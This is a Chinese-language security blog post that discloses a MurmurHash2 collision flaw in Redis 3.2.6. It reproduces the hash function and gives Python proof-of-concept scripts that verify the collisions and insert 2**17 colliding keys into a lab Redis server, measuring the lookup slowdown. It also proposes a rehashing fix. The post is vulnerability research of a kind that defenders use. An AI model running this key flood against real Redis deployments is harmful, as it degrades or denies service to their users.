由MurmurHash2 算法碰撞引起的Redis DDos 攻击漏洞

摘要

作者:黑池白泽 测试平台: i3-3210,8G Ram,Redis3.2.6,位于虚拟机中(2 cores CPU, 2G Ram)

作者:黑池白泽

概要信息:

  1. 在Martin Bosslet 2012年的 这篇文章 中,作者提到MurmurHash2算法被发现可以稳定构造碰撞函数,该哈希函数及其变形被CRuby, JRuby, Rubinius, Redis等开源组件使用。
  2. 本文是基于Martin Bosslet的发现继续挖掘的结果,在此对Martin Bosslet表示感谢。
  3. 原文中作者的碰撞函数是基于Ruby完成的,这里将发布该碰撞函数的Python版本。
  4. 在Martin Bosslet的文章中对碰撞函数的构造原理未做足够透彻的解释,我将在稍后一段时间将分析构造原理的部分补充。

详细信息:

  1. Redis使用MurmurHash2算法作为数据结构Hashtable的哈希算法。
  2. 当Hashtable出现碰撞后,Redis选择将发生碰撞的项用链表相连,最新的项插在链表首。
  3. Redis将Key和对应的Value以键值对的形式储存在一个Hashtable中。
  4. Redis并未将用户传入的Key进行任何编码就直接使用。
  5. 在2012年MurmurHash2算法被发现可以稳定构造碰撞函数。
  6. 当将大量使用在Murmurhash2算法下产生相互碰撞的字符串作为Key的键值对插入Redis后,在访问这些键值对时Hashtable的行为将退化为链表。

验证:

测试平台: i3-3210,8G Ram,

Redis3.2.6,位于虚拟机中(2 cores CPU, 2G Ram)

Redis3.2.6中使用的Murmurhash2函数:

unsigned int mmhash_32(const void *key, int len) {       /* 'm' and 'r' are mixing constants generated offline.      They're not really 'magic', they just happen to work well.  */     const uint32_t m = 0x5bd1e995;     const int r = 24;      /* Initialize the hash to a 'random' value */     uint32_t h = 5381 ^ len;      /* Mix 4 bytes at a time into the hash */     const unsigned char *data = (const unsigned char *)key;      while(len >= 4) {         uint32_t k = *(uint32_t*)data;          k *= m;         k ^= k >> r;         k *= m;          h *= m;         h ^= k;          data += 4;         len -= 4;     }      /* Handle the last few bytes of the input array  */     switch(len) {     case 3: h ^= data[2] << 16;     case 2: h ^= data[1] << 8;     case 1: h ^= data[0]; h *= m;     };      /* Do a few final mixes of the hash to ensure the last few      * bytes are well-incorporated. */     h ^= h >> 13;     h *= m;     h ^= h >> 15;      return (unsigned int)h; }

poc_collision.py,用于验证碰撞函数(其中mmhash将Redis3.2.6的dictGenHashFunction封装以供Python调用,基于 mmhash 魔改而来):

# -*- coding:utf-8 -*-  import mmhash   from murmurhash2_collision import collision   from binascii import crc32     c_l = list(collision(5))   hashs = (mmhash.get_hash_32(c) for c in c_l)   crc32ed_collisions = (crc32(c) for c in c_l)   print "crc32ed collision" + "/t" + "MurmurHash2ed collision"   for pair in zip(crc32ed_collisions, hashs):       print "{0}/t{1}".format(*pair)

输出结果: 由MurmurHash2 算法碰撞引起的Redis DDos 攻击漏洞 可见确实发生碰撞。

poc_redis.py,用以对比Redis3.2.6对同等数量恶意与非恶意数据的响应:

# -*- coding:utf-8 -*-  import redis   import os   import time   from murmurhash2_collision import collision   BLOCK = 17   connection = redis.Redis(host="192.168.107.102", password="123456")   func_set = connection.set  connection.flushall()   print "Insert 2**{0} normal key-value pairs.".format(BLOCK)   start = time.time()   first_key = os.urandom(8*BLOCK)   func_set(name=first_key, value="")   for i in xrange(0, 2**BLOCK-1):       func_set(os.urandom(8*BLOCK), value="") end = time.time()   print "Insertion complete. It takes {1} seconds.".format(BLOCK, end - start)   print "Now get the first inserted key."   start = time.time()   connection.get(first_key)   end = time.time()   print "It takes {0} seconds.".format(end - start)  print "*"*32  print "Now flush all the data."   connection.flushall()   print "Now insert 2**{0} key-value pairs with collisional strings as keys.".format(BLOCK)   c = list(collision(BLOCK))   first_key = c[0]   func_set(name=first_key, value="")   start = time.time()   for ck in c:       func_set(name=ck, value="") end = time.time()   print "Insertion complete. It takes {1} seconds.".format(BLOCK, end - start)   print "Now get the first inserted key."   start = time.time()   connection.get(first_key)   end = time.time()   print "It takes {0} seconds.".format(end - start)

插入普通随机数据时Redis服务器负载与插入恶意数据时服务器负载对比: 由MurmurHash2 算法碰撞引起的Redis DDos 攻击漏洞

输出结果: 由MurmurHash2 算法碰撞引起的Redis DDos 攻击漏洞 可见在输入大量恶意数据后Redis的响应速度有了明显下降(已排除生成碰撞字符串的时间)。

修复方法:

Redis hashtable目前处理碰撞的方法是直接将发生碰撞的项用链表相连。建议碰撞发生时使用另一个不同的哈希函数进行rehash(比如time33),若与现有项再次发生碰撞,再使用链表将项相连。在我的认知范围内(也许不完全正确),针对两个不同的哈希算法稳定构造碰撞是困难的。

未完成工作

  1. 未测试在更高并发下Redis的响应。
  2. 对碰撞函数的构造原理进行深入分析。
  3. 研究其他使用MurmurHash2算法的软件是否存在同样的漏洞。

反思与疑问

  1. 现在我还无法准确判断判断该漏洞的威胁程度,一方面是受限于手上没有资源验证Redis在更高并发下的响应,另一方面该漏洞的触发必须满足客户端的输入要作为Key并且原封不动地插入Redis。
  2. 这个漏洞的发现源于我阅读源代码是对MurmurHash2算法的搜索,在维基百科的参考链接中提到了Martin Bosslet的文章,同时文章明确指出Redis在使用该算法。是什么原因使这个(潜在的)DDos漏洞存在这么多年?

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: